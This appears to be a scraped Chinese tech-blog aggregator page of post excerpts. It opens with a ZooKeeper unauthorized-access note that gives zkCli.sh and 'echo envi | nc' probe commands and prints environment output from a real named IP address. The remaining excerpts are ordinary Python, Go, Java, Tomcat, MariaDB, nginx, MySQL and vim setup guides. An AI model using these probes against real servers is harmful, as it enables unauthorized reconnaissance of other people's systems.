bin

ZooKeeper未授权漏洞

試著忘記壹切 提交于 2019-12-02 21:41:11
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交的反馈进行下一步合理操作。最终,将简单易用的接口和性能高效、功能稳定的系统提供给用户,默认端口2181。 利用: 连接: ./zkCli.sh -server ip:port    获取系统环境 echo envi|nc ip port 乌云网易案例: oot@kali:~# echo envi |nc 60.191.83.13 2181 Environment: zookeeper.version=3.4.6-1569965, built on 02/20/2014 09:09 GMT host.name=localhost java.version=1.7.0_79 java.vendor=Oracle Corporation java.home=/opt/jdk1.7.0_79/jre java.class.path=/root/zookeeper-3.4.6/bin/../build/classes:/root/zookeeper-3.4.6/bin/../build/lib/*.jar:/root/zookeeper-3.4.6/bin/../lib/slf4j-log4j12-1.6.1.jar:

python2.6升级2.7的方法及升级后的故障处理

旧时模样 提交于 2019-12-02 21:16:12
vps上的python是2.6的,想升级到2.7 1.查看python的版本 #python -V Python 2.6.6 2.下载python2.7 #wget http://python.org/ftp/python/2.7.6/Python-2.7.6.tar.bz2 #tar -jxvf Python-2.7.6.tar.bz2 #cd Python-2.7.6 3.安装 #./configure #make all #make install #make clean #make distclean 4.查看版本信息 #/usr/local/bin/python2.7 -V 5.建立软连接,使系统默认的 python指向 python2.7 #mv /usr/bin/python /usr/bin/python2.6.6 #ln -s /usr/local/bin/python2.7 /usr/bin/python 6.重新检验Python 版本 #python -V 7.解决系统 Python 软链接指向 Python2.7 版本后,因为yum是不兼容 Python 2.7的,所以yum不能正常工作,我们需要指定 yum 的Python版本 #vi /usr/bin/yum 将文件头部的 #!/usr/bin/python 改成 #!/usr/bin/python2.6

linux默认的2.7升级到3.7版本

和自甴很熟 提交于 2019-12-02 20:06:11
CentOS7中自带的python版本是python-2.7.5,由于新开的虚拟机需要使用python3,于是便升级一下版本。 安装Python3.7.3 官网下载地址: https://www.python.org/downlo... 这里选择下载python 3.7.3。 # 下载 wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz # 解压 tar -zxf Python-3.7.3.tgz # 安装依赖包 yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc libffi-devel # 进入python目录 cd Python-3.7.3 # 编译 ./configure --prefix=/usr/local/python3.7 #安装 make && make install 关于Python3.7以上的版本,需要多安装一个依赖包: yum install -y libffi-devel 否则会出现 ModuleNotFoundError: No module named '_ctypes' 的报错。 在make install后执行 echo

搭建go开发环境

元气小坏坏 提交于 2019-12-02 19:19:17
一、go下载安装   进入该网站 https://golang.google.cn/dl/ 选择相应的操作系统下载安装包       Linux/Mac OS X 安装     1、下载 go1.10.3.linux-amd64.tar.gz (Mac 可直接下载pkg一键安装)     2、将下载的源码包解压至 /usr/local目录。(mac默认下载到了/user/local 下面) tar -C /usr/local -xzf go1.10.3.linux-amd64.tar.gz     3、将执行程序添加至全局变量中(mac linux 都一样) # 方法一命令执行(不推荐): export PATH=$PATH:/usr/local/go/bin # 直接将/usr/local/go/bin 添加至环境变量中去,没有永久加入到全局变量中,只适用于本次,关机即消失,下次开机时需再次执行 # 方法二 将执行程序添加至启动文件中(看GOROOT设置下放有图) vim /etc/profile 将:/usr/local/go/bin 添加到PATH全局变量中保存 再执行 source /etc/profile # /etc/profile # 系统的开机执行文件# 该文件会在操作系统启动时执行.执行就会将/user/local/go 添加到全局变量中去    windows

centos 7.6安装python 3.7

好久不见. 提交于 2019-12-02 19:00:27
原文参考: https://www.cnblogs.com/felixwang2/p/9934460.html https://blog.csdn.net/m0_37886429/article/details/86700665 前言:在centos 7.6上面已经安装了python2环境,如果想要继续安装python3而不卸载python2,下面详细介绍一下。 基本命令 (1)python -V 或者 python --version  #查看python版本 (2)python  #检测python安装是否成功,并且也可以查看版本号 1. 下载安装包并安装依赖关系 wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tar.xz yum -y groupinstall "Development tools" yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel libffi-devel 2. 解压文件并开始安装 这里要注意tar.xz结尾的文件的解压方式: mkdir /usr

linux基础练习3

核能气质少年 提交于 2019-12-02 18:32:38
1.总结vim命令行模式常见快捷方式,以及vim查找,替换的方法 vim打开文本编辑时默认进去到命令模式,即对文本不能直接编辑,但可对文本进行复制,粘贴剪切,跳转, 按x可以剪切当前光标所在位置字符然后p可以粘贴在光标移动的位置后面 w可以在每行单词中跳转 ,e在单词末尾跳转 gg可直接跳转至第一行行首,G跳转至文本末尾行行首 numgg指定跳转的行数 yy可以复制一行 numyy复制指定的行 p粘贴在光标所在位置下一行, P粘贴到光标位置上一行 i,a,o跳转至编辑模式 i移动至光标位置前一列进行编辑,a为后一列,o为下一行 esc键切换为命令模式 在命令模式中输入冒号: 可以进入扩展模式,扩展模式中常见操作 q 为退出 q!不保存强制退出 w为保存不退出 wq 保存退出 。w filename 跟文件名可以另存为新文件而不退出 r filename 读入别的文件附加在前文件之上 !command 叹号后面可以跟命令 可以打开别的文件,如果看完还可以敲回车返回 输入数字可以指定跳转的行数,以及可以使用正则表达式匹配行进行搜索替换 搜索,以及替换 可以使用普通模式替换,也可使用正则表达式匹配替换 查找单词为root的行 按模式搜索 ,格式 / /, / /d,y,前面对斜杠中的字符 到后面对斜杠的字符结尾,后面d表示删除 查找以root开头的到最后一个root 进行删除 按模式搜索

CentOS6.5安装Java、Tomcat、MariaDB10

旧街凉风 提交于 2019-12-02 16:53:20
CentOS6.5安装Java、Tomcat、MariaDB10。 Java 要点,先卸载OpenJDK,不然SunJDK不起作用 1.输入命令rpm -qa | grep java,会显示, javapackages-tools-3.4.1-5.el7.noarch java-1.7.0-openjdk-headless-1.7.0.51-2.4.5.5.el7.x86_64 java-1.7.0-openjdk-1.7.0.51-2.4.5.5.el7.x86_64 python-javapackages-3.4.1-5.el7.noarch tzdata-java-2014b-1.el7.noarch 2.输入命令, rpm -e --nodeps java-1.7.0-openjdk-headless-1.7.0.51-2.4.5.5.el7.x86_64 rpm -e --nodeps java-1.7.0-openjdk-1.7.0.51-2.4.5.5.el7.x86_64 3.下载“jdk-6u10-linux-x64.bin”放到/home/java目录下 4.输入命令chmod 777 jdk-6u10-linux-x64.bin 5.输入命令./jdk-6u10-linux-x64.bin,按照提示,输入yes (如果解压版,tar xvf jdk-7u80

try to change bin log directory: mysql-bin.index not found (Errcode: 13)

走远了吗. 提交于 2019-12-02 16:40:12
MySQL 5.1.54 Ubuntu 11.04 I'am try to change bin log directory in my.conf as: [mysqld] log_bin=/home/developer/logs/mysql/mysql-bin.log After this changes MySQL server can't start with error: /usr/sbin/mysqld: File '/home/developer/logs/mysql/mysql-bin.index' not found (Errcode: 13) 111005 12:47:58 [ERROR] Aborting Permission for directory /home/developer/logs/mysql/ is 0777 What's going on? As usual, the solution was simple but not obvious: it needed to edit apparmor settings I just added to /etc/apparmor.d/usr.sbin.mysqld a new string with path to target directory: /home/developer/logs/* rw

nginx反向代理

那年仲夏 提交于 2019-12-02 16:12:47
实验一: 1、实现效果 (1)打开浏览器,在浏览器地址栏输入地址 www.123.com ,跳转到liunx系统tomcat主页面中 2、准备工作 (1)在liunx系统安装tomcat,使用默认端口8080 tomcat安装文件放到liunx系统中,解压 进入tomcat的bin目录中,./startup.sh启动tomcat服务器 [root@topcheer bin]# sh startup.sh Using CATALINA_BASE: /mnt/apache-tomcat-7.0.70 Using CATALINA_HOME: /mnt/apache-tomcat-7.0.70 Using CATALINA_TMPDIR: /mnt/apache-tomcat-7.0.70/temp Using JRE_HOME: /usr/local/jak/jdk1.8.0_181/jre Using CLASSPATH: /mnt/apache-tomcat-7.0.70/bin/bootstrap.jar:/mnt/apache-tomcat-7.0.70/bin/tomcat-juli.jar Tomcat started. [root@topcheer bin]# (2)对外开放访问的端口(我处直接关闭防火墙,这边步骤可以跳过) firewall-cmd --add-port

Java安装和环境配置

拟墨画扇 提交于 2019-12-02 15:03:00
Java安装和环境配置 从事Java开发第一关就是安装JAVA环境. 我们要安装JDK, 全称Java开发全套. 其中包含了JRE(运行时环境), 如果你打游戏的时候可能会提示你缺少JRE. 我们要做开发, 一定要安装JDK, 请到 甲谷文 下载安装包. 下载 下载最新的 JDK9 , Java9提供了新的特征 . Java兼容性特强, 所以安装最新的.你也可以下载: JDK8 tar -zxvf jdk-9.0.1_linux-x64_bin.tar.gz sudo mv jdk-9.0.1 /app 以前Java8 lib目录下有: dt.jar是关于运行环境的类库,主要是swing的包 tools.jar是关于一些工具的类库 Java9里面已经没有了. 环境配置 Ubuntu系统 这是Ubuntu环境下的配置, 请首先卸载掉自带的OpenJDK: sudo apt remove java-common Java8 vim /etc/profile.d/myenv.sh export JAVA_HOME=/app/jdk1.8.0_91 export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export PATH=.:$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH